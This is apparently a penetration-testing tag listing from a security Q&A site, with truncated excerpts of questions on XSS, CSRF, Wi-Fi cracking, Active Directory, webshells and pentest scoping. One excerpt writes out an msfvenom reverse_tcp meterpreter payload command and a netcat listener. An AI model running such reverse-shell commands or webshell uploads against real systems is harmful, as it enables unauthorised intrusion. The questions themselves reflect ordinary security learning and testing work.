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An attempt to penetrate a system's security in an effort to evaluate the protections in place.

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Why is it not worth to exploit a search function on a website

I have a website that has a search function that uses the GET method. It returns in the url that "www.xxx.com/query?=something" Would like to seek opinions on why such a function is not ...
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cannot connect to wifi in the captive portal stage in fluxion?

so while using fluxion, something strange (maybe not) happened,i've captured the handshake and try to penetrate the same wifi with a captive portal attack, fluxion created a duplicate wifi ,that's ...
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Does Windows Server ship with any sensitive images in the filesystem?

I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
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How to perform external network scans that will not cause DoS?

What are some tools or techniques that could be used in external network penetration testing to perform safe scans only that are designed to cause no DoS (Denial of Service) or other interruptions? Or ...
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Why do we only pentest SMTP when pentesting an email server?

I have just started learning "penetration testing" and I have been tasked to do black-box penetration testing of an email server. So the query I wrote on Google was "email server ...
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How to pentest oAuth2/oidc clients

imagine the following problem: As a developer, I would like to check if my oAuth2 or OpenID Connect client is really secure. I would like to check if it validates the JWT signature, uses the nonce etc....
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Tips on performing a web penetration testing on a static website

No idea where to begin, I would like to ask for tips, direction and approaches when it comes to performing such a web testing. Source code analysis is not within scope for this test. I intend to run ...
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CSRF attack when form data isn't parsed

How can you do a CRSF attack on express if it only accepts JSON? Sample Node app: const express = require('express'); const app = express(); app.use(express.json()); app.post('/item', (req, res, ...
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Uploading php webshell using Burp Intruder

I am using Burp Intruder to upload a webshell to different directories. These 400 responses tell me the requests are bad. I should be getting mostly 403 responses or maybe if I'm lucky the goal ...
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Why can't we perform a replay attack on wifi networks?

I was wondering that, when a hacker is trying to hack a Wi-Fi network, he/she would try to capture a handshake and then try to decrypt it, whereas when you want to log in to your Wi-Fi access point, ...
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Ways to exploit AD in context of Domain Computer account not as Domain user account?

There are hundreds of articles if we search "how to exploit AD Environment?" but if you read them, you will find that every article focuses on the context of the domain user Account. Now I ...
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Stored XSS Cookie Stealing - shortest payload

I'm testing a web app (for which I have permissions) and I found a stored XSS vulnerability. It is a little bit tricky to exploit because the input: is being capitalized it has a length constraint of ...
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What is a secure way to log onto the domain controller?

On a pentest we found that a kerberos ticket under account name administrator was cached on one of the SQL database server which allowed us to steal the ticket, pass-the-ticket and log onto the domain ...
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SQL injection inside XSS

Is it possible to perform an SQL injection inside an XSS attack? And if so, where can I find information on this or some examples?
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Identify crash-inducing NVT in OpenVAS

I'm currently scanning a network using OpenVAS / Greenbone Security Assistant installed on Kali Linux. During the scan, multiple targets have crashed. This is obviously something I want to investigate....
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How to pentest a java application run through webswing?

I need to pentest a Java application through webswing. webswing allows running a java application in a web browser but how to pentest this? I didn't find any documentation about this actually. With my ...
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How to create custom exploit https requests to test a PHP framework [closed]

I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
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How to handle as a Tester if the website is kicking out the user for recreating the session?

Suppose a website is logging out the user after some time to re-create the session and start using the website. As the security tester, how will you handle this situation? Isn't it frustrating? Yes! ...
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Automating Clickjacking Attack

I found a clickjacking issue in a site and the site security team said me that i would require unusual user interaction. So I wrote a code above the iframe but I was not successful in achieving it. ...
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RCE on a server running nodejs

I've analyzed an app where I've found different vulnerabilities. I could upload/overwrite, delete and download anything. All critical vulns, but I didn't know how I could get rce without making ...
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How can I test if/how STIR/SHAKEN is working on my incoming calls? Both for detecting spoofed caller ID AND [bad sources]

How can I test if/how STIR/SHAKEN is working on my incoming calls? Both for detecting spoofed caller ID AND calls from disreputable (NON-'A' attestation) service providers/carriers/sources. I'm ...
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Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
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how to do a pentest to /assets/js/login.js [closed]

Hey guys this is my first question in this kind of platform. I made a pentest a vulnerable machine this is like a web page video content there are not much target vectors. In my attack a detect only ...
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Is it possible to know the keep-alive time supported by a web server?

I'm testing a web server that may be vulnerable to denial of service because of the time server keeps alive conections of the clients, I found that in a qualys report I launched against the webapp. I ...
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MQTT - Man in The Middle Attack

I'm trying to perform a MiTM attack using Ettercap. where i'm trying to publish a message to topic "A" and using ettercap trying to replace topic "A" to topic "B". MQTT ...
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Pentest methodology for industrial solutions PLC/DCS/Control Servers

which methodology of pentesting for industrial soltions (DCS/SCADA/PLC/Cotroler Servers network with OPC connectivity) would you recommend to apply?
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When can I start security test in an agile environment? [closed]

I have a web application and we are working in an agile environment, and the QC team working and need to run security testing. When I can run the security test? I searched for this topic and can't ...
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How can we safely allow a client to perform penetration testing?

A potential client is planning to do penetration testing on our SaaS. Is it standard or fair for us to request things like the following? An NDA from the pen tester Details on who is performing the ...
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Angular Expression/XSS-Payload without Quotes or “$”

I am really trying hard to exploit a Client Side Template Injection vulnerability in a webapp I am currently pentesting. Im so close to getting the payload to be executed, but I am stuck at the last ...
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Should we build a generic security unit test suite

as part of our secure SDLC we are delivering security as security requirements directly into the backlog of an application team. The security requirements will directly correlate to the functional ...
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Safe sharing source code with 3rd party for security review?

I work at a small software company, and we are working with another company that wants to use our software. However, their InfoSec team want us to have a 3rd party source code review completed, with ...
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Is using PBKDF2 good protection against brute-force attacks on web application login pages?

We've recently had a penetration test for one of our applications. The Penetration Testing company identified that our application lacks protections against brute-force attacks on the login page. Ref: ...
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GraphQL endpoint security testing

I am working with a team who is developing a mobile app for which they are using GraphQL. So as part of performing security testing it, they only shared the graphql endpoint and nothing else. Not even ...
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.local domain any possible ways in getting the extension

I was recently working on Broken link Hijacking and found a link in a target which reflected on multiple pages. It was portal.REDACTED.local which was not accessible and returned response as bad host. ...
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Application is validating the file extension but not file content - Is this a security vulnerability?

An application has a file extension validation at the server side and rejecting the request if the Extensions are not matching to (.pdf/.docx). But if i modify an exe file's extension to .pdf and ...
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Java - Ultra Light Client (ULC traffic inspection)

I'm working on security assessment of thick client application created using ULC. It is black box approach. Based on wiki (wiki.c2.com): "Ultra Light Client (ULC) for Java is a widget set that ...
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Verifying the security of SAML SSO

I run an instance of a log aggregation product in the cloud, installed on a VM. I've strictly configured it's networking settings, internal firewall, internal port redirection, strong admin password, ...
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Bash - SUID Program's Child Process did not inherit Parent Process UID as EUID [duplicate]

Background In practicing pentesting a VM on Vulnhub I encountered an issue that is quite interesting with Brainpan. After initial access with a limited shell generated from a BoF exploit on a service ...
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How to share penetration tests results + remediation plan to third party companies without exposing one's self

We are integrating our services with 3rd party companies (ie customers are able to buy the products of third party companies on our platform). These companies are asking us to provide to their ...
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How to obtain PRGA file using aireplay-ng chopchop or fragmentation attack

I am running Kali linux 2020.3 on VBox on Windows 10. I put my wireless card AWUS036ACH chipset Realtek RTL8812AU in monitor mode using airmon-ng start wlan0 X (by x i mean the number of channel AP is ...
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OWASP ZAP: How to Test on AWS + Magento? Which guidelines must be observed? [closed]

I am supposed to do a test for AWS. But since AWS has limitations, probably also in the direction of DDoS and other points, what does a corresponding test scenario look like? It is about a Magento ...
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Is nonce useless when user input is reflected within an inline script?

I stumbled upon a web app which is accepting user input and putting it into a variable within script tag. The script tag does have a nonce attribute. As am working on bypassing the XSS filter, I had ...
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windows 10 showing me that bWAPP contains a reverse shell

i have downloaded bwapp from official site and windows 10 defender showing me that it contains a reverse shell ( i know these things are there for practice ) but in earlier days it is not showing that....
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Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
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Error on Content Security Policy while testing for Clickjacking

I was recently testing for Clickjacking and when I opened developer tools, I was warning Content Security Policy: Ignoring “'unsafe-inline'” within script-src or style-src: nonce-source or hash-source ...
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What questions are useful to scope a mobile app pen test?

When arranging a pen test it's common practice to ask the client a set of questions, and use the answers either as the basis for further discussions, or to directly provide a test plan and quotation. ...
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Pentesting : what should one do if nothing is returned from Vulnerability Assessment

A typicall pentesting activity has the following step : 1 - information gathering + enumeration 2 - vulnerability assessment (vulnerability scanning) 3 - exploitation 4 - post exploitation ...
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Collaboration tools [closed]

Is there any good alternatives to the lair-framework. I think that was an awesome platform, and unfortunately its not maintained anymore and no more updates to it. But i have tried all other kinds of ...
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What happens when attacker scan a IP that is used by multiple devices? [duplicate]

Assuming ISP gives only 1 external IP and you have few devices that use this IP. So you will have a router and few PC's with same external IP and different local IP. When all PC's are online and one ...
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Should the pentester seek features to test by himself?

Imagine we have a dev team developers team lead scrum master ... When a new feature is planned to be implemented, should it be sent to the security team by the dev team lead (to evaluate whether it ...

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